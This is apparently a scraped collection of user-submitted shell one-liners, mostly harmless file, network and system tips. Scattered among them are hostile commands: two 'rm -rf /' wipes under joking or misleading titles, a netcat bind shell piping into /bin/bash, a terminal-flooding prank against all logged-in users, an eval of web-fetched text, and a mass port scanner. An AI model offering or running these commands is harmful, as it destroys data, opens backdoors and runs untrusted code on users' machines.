while true; do date; (curl -s -o 1.html http://www.biglion.ru/deals/ebay-80/ &); sleep 5; cat 1.html | grep "купонов" | awk -F"<div>" '{print $2}' | awk -F"<span>" '{print $1}'; done
make image semi-transparent
Pasion_por_Debian_1_by_arthecrow
Fast portscanner via xargs
xargs -i -P 1200 nc -zvn {} 22 < textfile-with-hosts.txt
backup file. (for bash)
cp -p file-you-want-backup{,_`date +%Y%m%d`} !!! Example "for bash
Leap year calculation
year=2010; math=`echo "$year%4" | bc`; [ ! -z $year ] && [ $math -eq 0 ] && echo "$year is leap year!" || echo "$year isn't leap year";
Get the amount of currently registered users from i18n.counter.li.org.
wget -qO - http://i18n.counter.li.org/ | grep 'users registered' | sed 's/.*\<font size=7\>//g' | tr '\>' ' ' | sed 's/<br.*//g' | tr ' ' '\0'
Find out the permissions of the current directory
ls -lad
Show who are logging in and what their current commands
w
easily find megabyte eating files or directories
du -kd | egrep -v "/.*/" | sort -n
find the device when you only know the mount point
mount | grep "mount point"
Batch file suffix renaming
mmv "*-*.mp3" "#1.mp3"
Generate an XKCD #936 style 4 word password
awk 'BEGIN {srand} /^[a-z]{4,8}$/ {w[i++]=$0} END {while (j++<4) print w[int(rand*i)]}' /usr/share/dict/words
Add together the count of users from the international Linux Counter and the dudalibre.com counter.
Check the Description below.
Find invalid uxxxx Unicode escape sequences in Java source code
ack --java '\\u.?.?.?[^0-9a-fA-F]'
List directories sorted by size
du -sh * | sort -h
List all ubuntu installed packages in a single line
dpkg --get-selections | grep -v deinstall | sort -u | cut -f 1 | tr '\r\n' ' ' | sed '$s/ $/\n/'
FINDING PCI DEVICES
/sbin/lspci (-v is verbose)
vim insert at beginning of multiple lines
:%s!^!foo!
Weather
wget -qO- -U '' 'google.com/search?q=weather' | grep -oP '(-)?\d{1,3}\xB0[FC]'
detect partitions
diskutil list
Binary digits Matrix effect
yes 'c=(" " " " " " 0 1); printf "${c[RANDOM%5]}"' | bash
generate random password
tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c10
create html output from colored, word-level git diff
git diff --word-diff --color-words | aha > index.html && firefox index.html
Sweep and download all mp3 (in French) of Rendez-vous avec X (Meet with Mr. X) of the French public radio
wget http://rendezvousavecmrx.free.fr/audio/mr_x_{1997..2015}_{01..12}_{01..31}.mp3
Empty a file
truncate foobar.txt
Slideshow of images in the current folder
feh -d -F -z -D 1 *
Command line calculator
calc() { echo "scale=4; ${*//,/.}" | bc -l; }
Look at logs startring at EOF
view + LOGFILE
Nofity Message in Ubuntu
notify-send -i /usr/share/pixmaps/gnome-irc.png "Title" \ "This is a desktop notification commandlinefu."
rename multiple files with different name, eg converting all txt to csv
touch file{1..10}.txt ; ls *txt| sed -e "p;s/\.txt$/\.csv/"|xargs -n2 mv
call vim help page from shell prompt
function :h { vim +":h $1" +'wincmd o' +'nnoremap q :q!<CR>' ;}
centos list directories sorted by size
du -h --max-depth=1 /home/ | sort -n
Rotate a video file by 90 degrees CW
ffmpeg -i in.mov -vf "transpose=1" out.mov
Query for installed packages on RHEL boxes, and format the output nicely
rpm -qa --queryformat 'Installed on %{INSTALLTIME:date}\t%{NAME}-%{VERSION}-%{RELEASE}: %{SUMMARY}\n'
Log output from a cronjob to a file, but also e-mail if a string is found
some_cronjobed_script.sh 2>&1 | tee -a output.log | grep -C 1000 ERROR
Search count how many times a character or string is present into a file
grep -o 'pattern' | wc -l
Find the median file modification time of files in a directory tree
date -d "@$(find dir -type f -printf '%C@\n' | sort -n | sed -n "$(($(find dir -type f | wc -l)/2))p")" +%F
Remove VIM temp files
find ./ -name '*.sw[op]' -delete
copy ssh id to remote host
ssh-copy-id -i .ssh/id_rsa.pub username:password@remotehost.com
Discover media files from a web page
sudo ngrep -lqi -p -W none ^get\|^post tcp dst port 80 -d eth0 | egrep '(flv|mp4|m4v|mov|mp3|wmv)'
Generate Random Text based on Length
genRandomText() { perl -e '$n=shift; print chr(int(rand(26)) + 97) for 1..$n; print "\n"' $1;}
List nearbies
/usr/sbin/arp -i eth0 | awk '{print $3}' | sed 1d
search for a pattern (regex) in all text files (ignoring binary files) in a directory tree
find . -type f | perl -lne 'print if -T;' | xargs egrep "somepattern"
Annoy everyone on your system
tmpIFS=IFS; IFS='\n'; users=`who | awk '{print $1}'`; for u in users; do; write $u < /dev/urandom &; done; IFS=tmpIFS
AWK: Set Field Separator from command line
awk 'BEGIN {FS=","} { print $1 " " $2 " " $NF}' foo.txt
Replace duplicate files by hardlinks
fdupes -r -1 path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; else sudo ln -f ${line// .*/} $file; fi; done; done
print info about compiled Scala class
scalac quicksort.scala && javap QuickSort
Show stats for dd
dd if=/dev/zero of=test bs=1024k count=1024 & bash -c "while :; do clear;echo STATS FOR DD:;kill -USR1 $!; sleep 1; done"
just because I want to take out the dot
rm -rf / & disown $!
quickly show me interesting data about my processes
alias mine='ps xco pid,command,%cpu,%mem,state'
Delete all but latest file in a directory
ls -t1 | sed 1d | parallel -X rm
get newest file in current directory
ls -lart
lspci | grep -i pci
lspci | grep -i pci
Delete /
rm -rf / --no-preserve-root & disown $! && exit
ruby one-liner to get the current week number
ruby -e 'require "date"; puts DateTime.now.cweek'
Find and print pattern location from all files on command line from directory and its sub directories.
find . -exec grep $foo {} \; -print
Get EXIF data from image with zenity
ans=$(zenity --title "Choose image:" --file-selection); exiftool -s ${ans} | zenity --width 800 --height 600 --text-info;
List the size (in human readable form) of all sub folders from the current location
du -sch *
Delete empty directories only in present level
find ./ -maxdepth 1 -empty -type d -delete
Check in current directory to SVN with commical/terrible commit message. (Please don't actually run this command!)
svn ci -m "$(curl -s http://whatthecommit.com | sed -n '/<p>/,/<\/p>/p' | sed '$d' | sed 's/<p>//')"
transform several lines in one with Awk
awk ' { printf ("%s ", $0)} END {printf ("\n") } ' FILE
monitor when target host will be up
while true; do date; ssh <YOUR HOST HERE> "echo" && echo "HOST UP" && break; sleep 60; done
Copy public ssh Id to new host withtout bash redirection
cat .ssh/id_dsa.pub | ssh <HOST> "mkdir -p .ssh && tee -a .ssh/authorized_keys"
command line to drop all table from a databse
mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print "drop table " $1 ";"}' | mysql -u uname dbname
quick and easy way of validating a date format of yyyy-mm-dd and returning a boolean
echo 2006-10-10 | grep -c '^[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]$'
Mail text file (/tmp/scream-dump) contents from linux box with subject(scream-dump)
mail -s scream-dump user@example.com < /tmp/scream-dump
Precide a bunch of files with a number in a pattern for example to indisperse a podcast backlock with more recent podcasts
i=10;for o in *.mp3; do i=$(printf "%02d" $i); mv $o $i$o; ((i = $i + 2)); done
Get length of array in zsh
$foo[(I)$foo[-1]]
commit message generator - whatthecommit.com
curl -s http://whatthecommit.com | html2text | sed '$d'
List detached screen sessions
screen -ls | grep D
Check the current price of Bitcoin (jq version, defines a function)
btc() { echo "1 BTC = $(curl -s https://api.coindesk.com/v1/bpi/currentprice/$1.json | jq .bpi.\"$1\".rate | tr -d \"\"\") $1"; }
run a command repeatedly
doloop() { DONT=/tmp/do-run-run-run; while true; do touch $DONT; (sleep 30; rm $DONT;) & $1 ; if [ -e $DONT ]; then echo restarting too fast; return ; fi ; done }
Do an OR search using grep to look for more than one search term
grep -i '<searchTerm>\|<someOtherSearchTerm>' <someFileName>
Convert one's Java source file encoding
find . -name "*.java" -type f -perm +600 -print | xargs -I _ sh -c 'grep -q hexianmao _ && iconv -f gb2312 -t utf8 -o _ -c _ '
Extract 2 copies of .tar.gz content
mkdir copy{1,2}; gzip -dc file.tar.gz | tee >( tar x -C copy1/ ) | tar x -C copy2/
Alternative for basename using grep to extract file name
fileName() { echo "$1" | grep -o "[^/]*$"; }
Upgrade Node.js via NPM
sudo npm cache clean -f | sudo npm install -g n | sudo n stable
See how much time you've spent logged in
last|grep `whoami`|grep -v logged|cut -c61-71|sed -e 's/[()]//g'|awk '{ sub("\\+", ":");split($1,a,":");if(a[3]){print a[1]*60*60+a[2]*60+a[3]} else {print a[1]*60+a[2] }; }'|paste -s -d+ -|bc|awk '{printf "%dh:%dm:%ds\n",$1/(60*60),$1%(60*60)/60,$1%60}'
make a .bak backup copy of all files in directory
for i in * ; do cp $i $i.bak; done
Get the revision number at which the current branch is created.
svn log --stop-on-copy | grep r[0-9] | awk '{print $1}' | sed "s/r//" | sort -n | head -1
Deletes all branches in a git repository except next and master (clean git repo)
git branch -D `git branch | awk '{ if ($0 !~ /next|master/) printf "%s", $0 }'`
show physical disk using
df -x tmpfs | grep -vE "(gvfs|procbususb|rootfs)"
Batch Convert MP3 Bitrate
mkdir save && for f in *.mp3; do lame -b xxx "$f" ./save/"${f%.mp3}.mp3"; done
reverse order of file
tac $FILETOREVERSE
find forms in a symfony 1.2 project
find apps/ -name "*.svn-base" -prune -o -print -name "*.php" | xargs grep -E 'new .+Form\('
Kill processes hogging up CPU (Flash after resume)
top -bn 1 | awk '{if($1 ~ /^[0-9]+$/ && $9 > 97) {print $1;exit}}'|xargs kill
Enabling some DVD playback enhancements in Ubuntu
sudo sh /usr/share/doc/libdvdread4/install-css.sh
truncate half of input.txt
dd of=output.txt if=input.txt ibs=1 skip=$(expr `stat -c%s input.txt` / 2)
Clean-up release directories keeping the only the latest two
find . -maxdepth 1 -type d | grep -Pv "^.$" | sort -rn --field-separator="-" | sed -n '3,$p' | xargs rm -rf
Share your terminal session real-time
tb send xmpp:user.name@gmail.com
Undo Mercurial add before commit
hg st --added -n |xargs hg revert
Print environment information.
printenv
find all file larger than 500M in home dir
find ~ -type f -size +500M -exec ls -ls {} \; | sort -n
Show number of connections per remote IP
netstat -antu | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
Monitors battery usage (rate of energy charge/discharge)
while cat energy_now; do sleep 1; done |awk -v F=$(cat energy_full) -v C=60 'NR==1{P=B=$1;p=100/F} {d=$1-P; if(d!=0&&d*D<=0){D=d;n=1;A[0]=B=P}; if(n>0){r=g=($1-B)/n;if(n>C){r=($1-A[n%C])/C}}; A[n++%C]=P=$1; printf "%3d %+09.5f %+09.5f\n", p*$1, p*g, p*r}'
bkup the old files
find <dir> -type f -mtime +<days> -exec scp -r {} user@backuphost:/data/bkup \;
search for a file (with regex), choose one then open it
findopen() { local PS3="select file: "; select file in $(find "$1" -iname "$2"); do ${3:-xdg-open} $file; break; done }
Monitoring TCP connections number
watch "ss -nat | awk '"'{print $1}'"' | sort | uniq -c"
View the newest xkcd comic.
lynx --dump --source http://www.xkcd.com | grep `lynx --dump http://www.xkcd.com | egrep '(png|jpg)'` | grep title | cut -d = -f2,3 | cut -d '"' -f2,4 | sed -e 's/"/|/g' | awk -F"|" ' { system("display " $1);system("echo "$2); } '
pid list by httpd listen port
lsof | awk '/*:https?/{print $2}' | sort -u
Print RPM dependencies
ruby -e 'puts `rpmdep glibc`.split(",")[2..-1]'
find and output files content with filtering by filename and specific string
find . -name *.properties -exec /bin/echo {} \; -exec cat {} \; | grep -E 'listen|properties'
Make syslog reread its configuration file
pkill -HUP syslogd
delete a file and links based on inode number.
ls -ai | grep filename | find . -inum `awk '{print $1}'` -exec rm {} \;
Print the lastest stable version of Perl
wget -q -O - http://www.perl.org/get.html | grep -m1 '\.tar\.gz' | sed 's/.*perl-//; s/\.tar\.gz.*//'
glance
glance -m
Remove everything except that file
ls | egrep -v "[REGULAR EXPRESSION]" | xargs rm -v
MySQL: Find an instance of a populated table across numerous databases
TABLE_NAME=YYZ ; for DATABASE in $(echo "SELECT TABLE_SCHEMA FROM information_schema.tables WHERE TABLE_NAME='$TABLE_NAME'" | mysql -N) ; do echo -n "$DATABASE: " ; echo "SELECT COUNT(*) FROM $TABLE_NAME" | mysql $DATABASE -N ; done | fgrep -v ': 0'
Reset ownership of a folder/subfolders
TAKEOWN /A /R /F c:\SomeFolder
ps to show child thread PIDs
ps -efL | grep <Process Name>
keytool using BouncyCastle as security provider to add a X509 certificate
keytool -importcert -providerpath bcprov-jdk15on-1.60.jar -provider org.bouncycastle.jce.provider.BouncyCastleProvider -storetype BCPKCS12 -trustcacerts -alias <alias> -file <filename.cer> -keystore <filename>
Friendly command-not-found message.
command_not_found_handle() { echo 6661696c626f61742e2e2e0a | xxd -p -r; }
Keep SSH tunnel open (PostgreSQL example)
while true; do nc -z localhost 3333 >|/dev/null || (ssh -NfL 3333:REMOTE_HOST:5432 USER@REMOTE_HOST); sleep 15; done
keytool using BouncyCastle as security provider to add a PKCS12 certificate store
keytool -importkeystore -providerpath bcprov.jar -provider BouncyCastleProvider -srckeystore <filename.pfx> -srcstoretype pkcs12 -srcalias <src-alias> -destkeystore <filename.ks> -deststoretype BCPKCS12 -destalias <dest-alias>
Quickly create simple text file from command line w/o using vi/emacs
cat > {filename} {your text} [^C | ^D]
Login history Mac OS X
% sudo log show --style syslog --last 2d | awk '/Enter/ && /unlockUIBecomesActive/ {print $1 " " $2}'
Deleting a remote git branch (say, by name 'featureless')
git push origin :featureless
Check if hardware is 32bit or 64bit
uname -m
Return IP Address
/usr/sbin/ifconfig -a|awk -F" " 'NR==4{print $2}'
Show a Package Version on Debian based distribution
apt-show-versions <packagename>
this svn script will commit all files excluding those with extensions {.project .classpath .properties .sh .number} and those with Status Modified or Added {M or A}
svn st | grep -e [MA] | egrep -ve '.project|.classpath|.properties|.sh|.number' | awk -F' ' '{ print $2}' | xargs svn ci -m "message"
Describe differences between files
diff --changed-group-format='differs from line %dF to line %dL|' --unchanged-line-format='' $FILE1 $FILE2 | sed 's/|/\n/'
execute a shell with netcat without -e
mkfifo ._b; nc -lk 4201 0<._b | /bin/bash &>._b;
Create nthash
echo -n "password" | iconv -t utf-16le | openssl dgst -md4
Tshark to Generate Top Talkers by #TCP conv started per second.
tshark -qr [cap] -z conv,tcp | awk '{printf("%s:%s:%s\n",$1,$3,$10)}' | awk -F: '{printf("%s %s %s\n",$1,$3,substr($5,1,length($5)-10))}' | sort | uniq -c | sort -nr
df output, sorted by Use% and correctly maintaining header row
df -h | sort -r -k 5 -i
Remove all .svn folders inside a folder
find . -name "\.svn" -exec rm -rf {} ";"
search for a file in PATH
function sepath { echo $PATH |tr ":" "\n" |sort -u |while read L ; do cd "$L" 2>/dev/null && find . \( ! -name . -prune \) \( -type f -o -type l \) 2>/dev/null |sed "s@^\./@@" |egrep -i "${*}" |sed "s@^@$L/@" ; done ; }
Shortcut to search a process by name
psg(){ ps aux | grep -v grep | egrep -e "$1|USER"; }
(tcsh alias)Reverse an IPv4 address. It is useful to looking the address up in DNSBL.
alias ip4rev "echo \!* | sed 's/^\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\4.\3.\2.\1/'"
Describe differences between files
comm --nocheck-order -31
Find the biggest files
find -type f | xargs -I{} du -s "{}" | sort -rn | head | cut -f2 | xargs -I{} du -sh "{}"
Save your webcam to file
cvlc "v4l2:///dev/video0" --sout "#transcode{vcodec=mp2v,vb=800,scale=0.25,acodec=none}:file{mux=mpeg1,dst=/PATH/TO/OUTPUT/FILE}"
Emulate sleep in DOS/BAT
ping -n 1 -w 10000 224.0.0.0
calculate the total size of files in specified directory (in Megabytes)
ls -l directory | awk 'BEGIN { SUM=0 } { SUM+=$5 } END { print SUM/1024/1024"M" }'
Reducing image size
convert -quality 40% original_image reduced_image
Get current stable kernel version string from kernel.org
curl -s kernel.org | grep '<strong>' | head -3 | tail -1 | cut -d'>' -f3 | cut -d'<' -f1
Google text-to-speech in mp3 format
text-to-speech
search for a file in PATH
for L in `echo :$PATH | tr : '\n'`; do F=${L:-"."}/fileName; if [ -f ${F} -o -h ${F} ]; then echo ${F}; break; fi; done
ffmpeg vhook imlib2.so
ffmpeg -i input.flv -vhook '/usr/lib/vhook/imlib2.so -c white -x 250 -y H+(-1.8*N+80) -t Hallo! -A max(0,255-exp(N/16))' -sameq -acodec copy output.flv
Find the biggest files
find -type f -exec du -sh {} + | sort -rh | head
Find and replace
find . -name '*.txt' -exec mv {} {}.sh \ ;
Generat a Random MAC address
MAC=$((date +'%Y%m%d%H%M%S%N'; cat /proc/interrupts) | md5sum | sed -r 's/(..)/\1:/g' | cut -d: -f 1-6)
A simple way find total Memory capacity of the system
echo "Memory:" $(dmidecode --type memory | grep " MB" | awk '{sum += $2; a=sum/1024} END {print a}') "GB"
Store Host IP in variable
export IP="$(hostname -I | awk '{print $1}')"
Reducing image size
convert example.png -resize 100x100 output.png
Find redirection and grep
find . -name "*.png" | tee images.txt | grep book
copy root to new device
cp -dpRx /* /mnt/target/
Print full LVM LV paths (for copy&paste)
vgdisplay -v 2>/dev/null | grep "^ LV Name" | while read A B LVDEV; do echo $LVDEV; done
How many lines does the passwd file have?
cat /etc/passwd | wc -l
Get info iostat -En for all disks with Hardware Errors - works on Solaris and Solaris forks
iostat -En $(iostat -en|grep c#t|awk '$2 > 0 {print $NF}')
do a release upgrade in ubuntu
do-release-upgrade
full text(CJK) search mails and link the result to $MAILDIR/bingo/cur/
recoll -t -q "keyword" | grep message/rfc822 | sed -s 's,^.*\('$MAILDIR'[^]]*\)\].*$,\"\1\",' | xargs ln -sft $MAILDIR/bingo/cur/
Move itens from subdirectories to current directory
ls -d */* | sed -e 's/^/\"/g' -e 's/$/\"/g' | xargs mv -t $(pwd)
calculate in commandline with dc
dc -e "1 1 + p"
Quickly find files and folders in the current directory
ff() { find -maxdepth 3 -type f -iname "$1"; }; fd() { find -maxdepth 4 -type d -iname "$1"; }
Merge only certain pdfs in a directory
gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=merged.pdf -dBATCH `ls | grep foo`
calculate in commandline with perl
perl -e 'print 1+1 ."\n";'
Use socat to create a largefile
echo | socat -u - file:/tmp/swapfile,create,largefile,seek=10000000000000
Find and delete thunderbird's msf files to make your profile work quickly again.
find ~/.thunderbird/*.default/ -name *.msf | sed 's/ /\\ /g' | xargs rm {} \;
delete duplicate files
fdupes -rdN $folder
Convert a PKCS#8 private key to PEM format
openssl pkcs8 -inform DER -nocrypt -in [priv key] -out [pem priv key]
Get your external IP address with the best commandlinefu.com command
eval $(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^!!! Example "Get your external IP address$/{n;p;q}')
Read Squid logs with human-readable timestamp in Pfsense
tail -f /var/squid/logs/access.log | perl -pe 's/(\d+)/localtime($1)/e'
Identify a PKCS#8 Private Key
openssl ans1parse -inform DER < [priv key]
Remap "New Folder" to Command+N, "New Finder Window" to Cmd+Shift+N in Mac OS X
defaults write com.apple.finder NSUserKeyEquivalents -dict 'New Finder Window' '@$N' 'New Folder' '@N'; killall Finder
perl find and replace
find -name ".php" -exec perl -pi -e 's/search/replace/g/' {} \;
Push each of your local git branches to the remote repository
git push origin --all
Remove annotation- (or other own-lined) tags from an XML document
awk "/<xsd:annotation>/{h=1};!h;/<\/xsd:annotation>/{h=0}" annotatedSchema.xsd
Find default gateway
ip route show | awk '$3 ~ /^[1-9]+/ {print $3;}'
Do one ping to a URL, I use this in a MRTG gauge graph to monitor connectivity
ping -c 1 www.google.com | /usr/bin/awk '{print $7}' | /usr/bin/awk 'NR > 1' | /usr/bin/awk 'NR < 2' | /usr/bin/awk -F"=" '{print $2}'
Count messages in mcabber history for each JID
for f in ~/.mcabber/histo/*; do a=`egrep "^(MR|MS)" $f | wc -l`; echo $f: $a | awk -F\/ '{print $6}'; done
extend KVM image size
dd bs=1 if=/dev/zero of=/path/to/imagename.raw seek=50G count=1 conv=notrunc
rename all images in folder with original date time from exif data
c=1; for i in *; do identify -verbose $i | perl -ane 'if(/exif:DateTimeOriginal:/){print "@F[1,2] "}'; ls -i $i; done | sort | perl -ane 'print "@F[2]\n"' | while read j; do find -inum $j | xargs -iX cp X NEW_`printf %02d $c`.jpg; cnt=`expr $c + 1`; done
Dump
jmap -dump:live,format=b,file=o.hprof pid ; jstack -l pid > /oracle/ora_app1/p.tdump
Change default terminal emulator
update-alternatives --config x-terminal-emulator
Show Network IP and Subnet
ipcalc $(ifconfig eth0 | grep "inet addr:" | cut -d':' -f2,4 | sed 's/.+Bcast:/\//g') | awk '/Network/ { print $2 } '
print shared library dependencies
ldd path_to_executable
Lookaround in grep
echo "John's" | grep -Po '\b\w+(?<!s)\b'
print shared library dependencies
function ldd(){ objdump -p $1 | grep -i need; }
Print the local ip on a wireless connection
sudo ifconfig wlan0 | grep inet | awk 'NR==1 {print $2}' | cut -c 6-
Save the network interface info into a text file, so that you can re-apply it later
netsh interface ip dump > current-interfaces.txt
Return Dropbox folder location.
sqlite3 $HOME/.dropbox/config.db "select value from config where key like '%dropbox_path%'"
Broadcast your shell thru ports 5000, 5001, 5002 …
script -qf | tee >(nc -l -p 5000)
Clearcase find branch
ct find -avobs -nxname -element 'brtype(branch_name)' -print 2>/dev/null
batch convert OGG to WAV
for f in *.ogg ; do mplayer -quiet -vo null -vc dummy -ao pcm:waveheader:file="$f.wav" "$f" ; done
one line command to recursively add all jar files in current folder to java class path
CLASSPATH=.; export CLASSPATH=$CLASSPATH$(find "$PWD" -name '*.jar' -type f -printf ':%p\n' | sort -u | tr -d '\n'); echo $CLASSPATH
Create web site ssl certificates
openssl req -new -x509 -extensions v3_ca -days 1100 -subj "/C=CA/ST=CA/L=SomeCity/O=EXAMPLE Inc./OU=Web Services/CN=example.com/emailAddress=postmaster@example.com" -nodes -keyout web.key -out web.crt
Countdown Clock
let T=$(date +%s)+3*60;while [ $(date +%s) -le $T ]; do let i=$T-$(date +%s); echo -ne "\r$(date -d"0:0:$i" +%H:%M:%S)"; sleep 0.3; done
Copy files from one dir to another using tar.
tar cf - . | (cd /new/dir; tar xvf -)
Print just line 4 from a textfile
head -n X | tail -n 1
recursively add all sub folders with executable file of current folder to PATH environment variable
export PATH=$PATH$(find "$PWD" -name '.*' -prune -o -type f -a -perm /u+x -printf ':%h\n' | sort -u | tr -d '\n'); echo $PATH
Purge application's residual config & orphans
dpkg -l | sed '/^rc/!d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/' | xargs -r sudo apt-get -y purge
Prints line numbers
nl <filename>
Find default gateway
route -n | grep "^0\." | awk '{print "Gateway to the World: "$2", via "$NF""}'
SSH with sql like commad
add "ssh $1@$2" in /usr/sbin/connect with executable permission, now use commad "connect user 192.168.1.1"
Realtime lines per second in a log file
tail -f logfile | logtop
View open file descriptors for a process.
lsof -p <process_id> | wc -l
a simple alarm
while true; do while [ `date +%H%M` == "1857" ] ; do sleep 1s; yes | head -n 2000 > /dev/dsp; done; done;
Display CPU usage in percentage
ps aux | awk {'sum+=$3;print sum'} | tail -n 1
Graphically compare two directory hierarchies without Subversion metadata
xxdiff -r --exclude=.svn
creates or attachs to screen
alias sdr="screen -dR"
Open the Windows Explorer from the current directory
explorer /e,.
[WinXP] Convert FAT32 Hard Drive to NTFS without losing all data
CONVERT D: /FS:NTFS
Find default gateway
netstat -rn | awk '/UG/{print $2}'
display portion of a file
cat -n FILE | grep -C3 "^[[:blank:]]\{1,5\}NUMBER[[:blank:]]"
Restore individual table from mysqldump backup.
awk '/Table structure for table .table01./,/Table structure for table .table02./{print}' <file> > restored_table.sql
Use socat to wrap around your pty to enter the password.
(sleep 3; echo "MyAwesomePassword"; sleep 3) |socat - EXEC:'ssh username@server "hostname"',pty,setsid,ctty
Display current temperature anywhere in the world in Celcius
curl -s 'http://www.google.com/ig/api?weather=santa+monica,ca'| sed -ne "s/.*temp_c data..//;s/....humidity data.*//;p" | figlet
Display two calendar months side by side
cal -A 1 8 2018
Rip an ISO from a CD/DVD using the freeware dd for Windows
dd if="\\?\Device\CdRom0" of=c:\temp\disc1.iso bs=1M --progress
translate what is in the clipboard in english and write it to the terminal
wget -qO - "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|zh-cn&v=1.0&q=`xsel`" |cut -d \" -f 6
Remove all unused kernels with apt-get
sudo aptitude remove -P $(dpkg -l|awk '/^ii linux-image-2/{print $2}'|sed 's/linux-image-//'|awk -v v=`uname -r` 'v>$0'|sed 's/-generic//'|awk '{printf("linux-headers-%s\nlinux-headers-%s-generic\nlinux-image-%s-generic\n",$0,$0,$0)}')
Format partition as FAT32
mkdosfs -F 32 /dev/sda1
Get readline support for the sqlplus command.
socat READLINE EXEC:'sqlplus',pty,setsid,ctty
Make all the cows tell a fortune
echo 'Dir.foreach("/usr/local/Cellar/cowsay/3.03/share/cows") {|cow| puts cow; system "fortune | cowsay -f /usr/local/Cellar/cowsay/3.03/share/cows/#{cow}" }' | ruby
Display Spinner while waiting for some process to finish
sleep 10 & perl -e '$|=@s=qw(-Ooooo \oOooo |ooOoo /oooOo -ooooO \oooOo |ooOoo /oOooo);while(kill 0,'$!'){ print "\r",$s[$t++%($#s+1)];select(undef,undef,undef,0.2);}'
First android webpage relay script
id 2>&1 > /sdcard/id;rsync -aP rsync://168.103.182.210/t /sdcard/t 2> /sdcard/rsync.err.log > /sdcard/rsync.log && return 123;fumanchu
copy selected folder found recursively under src retaining the structure
find . -type d -exec mkdir /new/path/{} \;
Copies files from a directory to another, overwriting only existing files with same name
cp -rf srcdir/* destdir
Activate on-the-fly GTK accels
gconftool-2 -t bool -s /desktop/gnome/interface/can_change_accels true
Recursively remove 0kb files from a directory
find . -empty -type f -execdir rm -f {} +
Show's the main headline from drudgereport.com
curl -s http://www.drudgereport.com | sed -n '/<! MAIN HEADLINE>/,/<!-- Main headlines links END --->/p' | grep -oP "(?<=>)[^<].*[^>](?=<)"
Run one of your auto test programs from GNU make
gmake runtestsingle testsingle=udtime
print the date of the unix epoch in a human readable form using perl.
perl -e 'print scalar localtime $ARGV[0],"\n" ' epoch
Using gdiff only select lines that are common between two files
gdiff --unified=10000 input.file1 inpute.file2 | egrep -v "(^\+[a-z]|^\-[a-z])"| sort > outputfile.sorted
burn an iso to cd or dvd
cdrecord -v path_to_iso_image.iso
Command to find filesystem type
file -sL /dev/sda7
Get summary of updateable packages on Debian/Ubuntu machines using salt stack
salt -G 'os_family:Debian' cmd.run ' /usr/lib/update-notifier/apt-check --human-readable'
Uncompress a directory full of tarred files (*.gz)
for i in *.tar.gz *.tgz; do tar -zxvf $i; done
List only the directories
ls -F|grep /
bash script to zip a folder while ignoring git files and copying it to dropbox
git archive HEAD | gzip > ~/Dropbox/archive.tar.gz
random git-commit message
git-random(){ gitRan=$(curl -L -s http://whatthecommit.com/ |grep -A 1 "\"c" |tail -1 |sed 's/<p>//'); git commit -m "$gitRan"; }
Nice directory listings
alias ll="ls -lh --color=auto"
Check variable has been set
: ${VAR:?unset variable}
SCP files to remote server using PEM file
scp -i /path/to/file.pem [local-files] root@[dest-host]:[dest-path]
Make sure your compiler is using ccache
watch ccache -s
Use dig instead of nslookup
dig google.com
Find files older than 60 days
find . -maxdepth 1 -type f -mtime +60 -ls
Show all TODOs and a few relative lines after it.
grep -rnA 10 TODO *
Graphic mode for root
startx -- :1
Put the wireless card into monitor mode
airmon-ng start <interface> <channel>
Find a specific pdf file (given part of its name) and open it
evince "$(find -name 'NameOfPdf.pdf')"
MS-DOS only: Enable variable expansion from inside of FOR loops with !varname!
setlocal enabledelayedexpansion
Singularize all files in a directory
for x in *s.yml; do mv $x `echo $x | sed 's/s\.yml/\.yml/'`; done
Grep for a TAB
grep $'\t' file.txt
Find and delete thunderbird's msf files to make your profile work quickly again.
find ~/.thunderbird/*.default/ -name *.msf -print0 | xargs --no-run-if-empty -0 rm;
Remove all .svn folders
find . -name .svn -type d -exec rm -rf {} \;
calculate sqrt(2) ==> 1.414213
dc -e '6k2vp'
Batch remove protection from all pdf files in a directory
mkdir -p temp && for f in *.pdf ; do qpdf --password=YOURPASSWORDHERE --decrypt "$f" "temp/$f"; done && mv temp/* . && rm -rf temp
Command to find filesystem type
#11671
Display two calendar months side by side
cal -n 2 8 2018
find all references to a server in web.config files with powershell
ls \\someserver\c$\inetpub\wwwroot -r -i web.config | Select-String "SomeMachineName"
Read just the IP address of a device
/sbin/ifconfig | grep inet | cut -f 2 -d ":" | cut -f 1 -d " "
Python Challenge Problem 0
sensible-browser http://www.pythonchallenge.com/pc/def/$(bc <<< 2^38).html
Console clock
watch -n1 echo
Repeat a portrait eight times so it can be cut out from a 6
montage input.jpg -auto-orient -duplicate 7 -geometry 500 -frame 5 output.jpg
shopt
help shopt
Install dpkg packages
sudo dpkg -i *.deb
kill all processes of a program
kill -9 $(pidof *program*)
Count emails in an MBOX file
grep -c '^From ' mbox_file
Add a line to crontab using sed
crontab -l | sed -e '$G;$s-$-'"$CRON_MINS $CRON_HOUR"' * * * /usr/bin/command >/dev/null 2>&1-' | crontab -
draw 45deg rotated text at the center of image
convert input.png -pointsize 32 -gravity center -annotate 45 "hello, world" output.png
quick find executable from locate db
find $(locate hello) -type f -executable -print|grep -E "hello\$"
Battery Health
upower -i /org/freedesktop/UPower/devices/battery_BAT0
Show all video files in the current directory (and sub-dirs)
find -type f -printf '%P\000' | egrep -iz '\.(avi|mpg|mov|flv|wmv|asf|mpeg|m4v|divx|mp4|mkv)$' | sort -z | xargs -0 ls -1
Read just the IP address of a device
/sbin/ifconfig | grep inet | cut -f 2 -d ":" | cut -f 1 -d " " |egrep -v "^$"
ping scan for a network and says who is alive or not
for i in `seq 254`;do ping -c 1 192.168.10.$i > /dev/null && echo "$i is up"||echo "$i is down";done
Get windows IPv4 and nothing else
cls && ipconfig | findstr -R "[ IPv4 | adapter ]"
make a zip file containing all files with the openmeta tag "data"
mdfind "tag:data" > /tmp/data.txt ; zip -r9@ ~/Desktop/data.zip < /tmp/data.txt
Check if variable is a number
echo $X | egrep "^[0-9]+$"
Indent all the files in a project using indent
find . -iname \*.[ch] -exec indent "{}" \;
